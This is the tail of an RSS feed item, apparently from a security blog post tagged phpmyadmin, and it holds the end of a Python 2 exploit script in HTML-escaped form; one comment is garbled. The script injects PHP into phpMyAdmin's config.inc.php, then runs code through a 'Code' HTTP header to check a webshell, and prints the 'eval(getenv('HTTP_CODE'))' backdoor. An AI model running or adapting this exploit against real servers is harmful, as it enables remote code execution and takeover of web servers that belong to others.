postdata&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;urllib2.urlopen(url, postdata)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;+&#93; All done, pray for your lucky!&quot; <br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# ���Ĳ����������shell&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url = args&#91;1&#93;+&quot;/config/config.inc.php&quot; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;opener.addheaders.append((&#039;Code&#039;, &#039;phpinfo();&#039;))&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;urllib2.install_opener(opener)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;+&#93; Trying connect shell: %s&quot; % url&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result = re.findall(&quot;System &#92;&lt;/td&#92;&gt;&#92;&lt;td&nbsp;&nbsp;<br/><br/>class=&#92;&quot;v&#92;&quot;&#92;&gt;(.*)&#92;&lt;/td&#92;&gt;&#92;&lt;/tr&#92;&gt;&quot;, urllib2.urlopen(url).read())&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if len(result) == 1:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;+&#93; Lucky u! System info: %s&quot;&nbsp;&nbsp;% result&#91;0&#93;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;+&#93; Shellcode is: eval(getenv(&#039;HTTP_CODE&#039;));&quot; <br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;-&#93; Cannot get webshell.&quot; <br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;except Exception, e:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print e&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>if __name__ == &quot;__main__&quot; : main(sys.argv) <br/></div><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=phpmyadmin" rel="tag">phpmyadmin</a>
]]>
</description>
</item>
</channel>
</rss>
